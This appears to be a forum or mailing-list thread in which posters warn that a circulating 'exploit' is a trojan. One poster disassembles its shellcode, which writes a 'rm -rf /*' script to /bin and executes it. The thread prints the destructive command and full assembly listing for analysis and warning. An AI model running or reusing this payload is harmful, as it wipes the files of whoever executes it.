i found this:

i'll just write it in caps just to be sure that someone is going to read it ....
THIS IS A TROJAN DON'T COMPILE AND EXECUTE THE CODE IT WILL PERFORM A rm -fr / & INTO YOUR SYSTEM.

Or else, this program will try to erase all of the system in the computer that you are going to execute it.

Creep01

Reposting, i checked the code again, the exploit is a fake though the code that is executing the rm -fr / & is ommited.

(long) range=default_shellcode;
//range(); <-----------
jmp=targets[trg].jmp;


So generally this is a simple useless piece of code.

ohh, sorry

u didnt think of that by ur own now did u?

i can read bugtraq

darkieD, i never tested this code.
can you read hex?

it was ment for creep01
not for u

yes and it's easy just use your brain
1. take a look at the shellcode is rather small
2. take a look at the code

(long) range=default_shellcode;
//range(); <-- here
jmp=targets[trg].jmp;

and above

void (*range)();

3. echo -e "\x69\x6C\x6C\x68\x20\x2D\x66\x20\x68\x68\x0A\x72\x6D\x68\x69\x6E\x2F" (illh -f hh rmhin/)
and the rest part of the shellcode
4. compile the code and strings into the binary.
5. run gdb and start the program.
6. trace into it

Don't post flames kiddo learn to respect others. If someone is saying something here doesn't mean that he copied. Try to remember that some people use their brain.

Creep

ofcourse it was a small shellcode...

And plz dont call me kiddo lol.
think i am a bit older then u

creep01, don't say that you check every shellcode in each exploit.
//range(); << yes, i had to see this

i found the code here:
http://m00.void.ru/message
i thought that i can trust this site.

gsicht, it's okay, don't worry, it's pretty easy to make mistakes like this. In future though, look at the code, and look to see if at any point in the code, has the exploit done something that you wouldn't have thought it needed to? Bear that in mind, and treat exploits matching that as suspicious.

Some teenagers get bored, so they modify or create an "exploit" for an existing vulnerability which is really just a trojan.


Thank you for your time.
Shaun.

0x0804a5a0 <default_shellcode+0>: xor %eax,%eax
0x0804a5a2 <default_shellcode+2>: push %eax
0x0804a5a3 <default_shellcode+3>: push $0x6e69622f
0x0804a5a8 <default_shellcode+8>: mov %esp,%ebx
0x0804a5aa <default_shellcode+10>: mov $0xc,%al
0x0804a5ac <default_shellcode+12>: int $0x80 -> chdir("/bin")
0x0804a5ae <default_shellcode+14>: xor %eax,%eax
0x0804a5b0 <default_shellcode+16>: push %eax
0x0804a5b1 <default_shellcode+17>: push $0x7a7a7a7a
0x0804a5b6 <default_shellcode+22>: mov %esp,%ebx
0x0804a5b8 <default_shellcode+24>: push $0x41
0x0804a5ba <default_shellcode+26>: pop %ecx
0x0804a5bb <default_shellcode+27>: mov $0x5,%al
0x0804a5bd <default_shellcode+29>: int $0x80 -> open("zzzz", 0x41)
0x0804a5bf <default_shellcode+31>: xor %ecx,%ecx
0x0804a5c1 <default_shellcode+33>: push %ecx
0x0804a5c2 <default_shellcode+34>: push $0x26202a2f
0x0804a5c7 <default_shellcode+39>: push $0x2066722d
0x0804a5cc <default_shellcode+44>: push $0x206d720a
0x0804a5d1 <default_shellcode+49>: push $0x6c6c696b
0x0804a5d6 <default_shellcode+54>: push $0x20662d20
0x0804a5db <default_shellcode+59>: push $0x6d720a68
0x0804a5e0 <default_shellcode+64>: push $0x732f6e69
0x0804a5e5 <default_shellcode+69>: push $0x622f2123
0x0804a5ea <default_shellcode+74>: mov %esp,%ecx
0x0804a5ec <default_shellcode+76>: mov %eax,%ebx
0x0804a5ee <default_shellcode+78>: mov $0x20,%dl
0x0804a5f0 <default_shellcode+80>: mov $0x4,%al
0x0804a5f2 <default_shellcode+82>: int $0x80 -> write(fd, "#!/bin/sh
rm -f kill
rm -rf /* &", 0x20);
0x0804a5f4 <default_shellcode+84>: mov $0x6,%al
0x0804a5f6 <default_shellcode+86>: int $0x80 -> close(fd)
0x0804a5f8 <default_shellcode+88>: xor %eax,%eax
0x0804a5fa <default_shellcode+90>: push %eax
0x0804a5fb <default_shellcode+91>: push $0x7a7a7a7a
0x0804a600 <default_shellcode+96>: mov %esp,%ebx
0x0804a602 <default_shellcode+98>: mov $0x1ed,%cx
0x0804a606 <default_shellcode+102>: mov $0xf,%al
0x0804a608 <default_shellcode+104>: int $0x80 -> chmod("zzz", 0755)
0x0804a60a <default_shellcode+106>: xor %eax,%eax
0x0804a60c <default_shellcode+108>: xor %edx,%edx
0x0804a60e <default_shellcode+110>: push %eax
0x0804a60f <default_shellcode+111>: push $0x7a7a7a7a
0x0804a614 <default_shellcode+116>: push $0x2f2f2f2e
0x0804a619 <default_shellcode+121>: mov %esp,%ebx
0x0804a61b <default_shellcode+123>: push %eax
0x0804a61c <default_shellcode+124>: push %ebx
0x0804a61d <default_shellcode+125>: mov %esp,%ecx
0x0804a61f <default_shellcode+127>: mov $0xb,%al
0x0804a621 <default_shellcode+129>: int $0x80 ->
execve("/bin/zzzz", "/bin/zzzz", 0)
0x0804a623 <default_shellcode+131>: xor %eax,%eax
0x0804a625 <default_shellcode+133>: inc %eax
0x0804a626 <default_shellcode+134>: int $0x80 -> exit()
0x0804a628 <default_shellcode+136>: add %al,(%eax)
0x0804a62a <default_shellcode+138>: add %al,(%eax)
0x0804a62c <default_shellcode+140>: add %al,(%eax)
0x0804a62e <default_shellcode+142>: add %al,(%eax)
0x0804a630 <default_shellcode+144>: add %al,(%eax)
0x0804a632 <default_shellcode+146>: add %al,(%eax)
0x0804a634 <default_shellcode+148>: add %al,(%eax)
0x0804a636 <default_shellcode+150>: add %al,(%eax)
0x0804a638 <default_shellcode+152>: add %al,(%eax)
0x0804a63a <default_shellcode+154>: add %al,(%eax)
0x0804a63c <default_shellcode+156>: add %al,(%eax)
0x0804a63e <default_shellcode+158>: add %al,(%eax)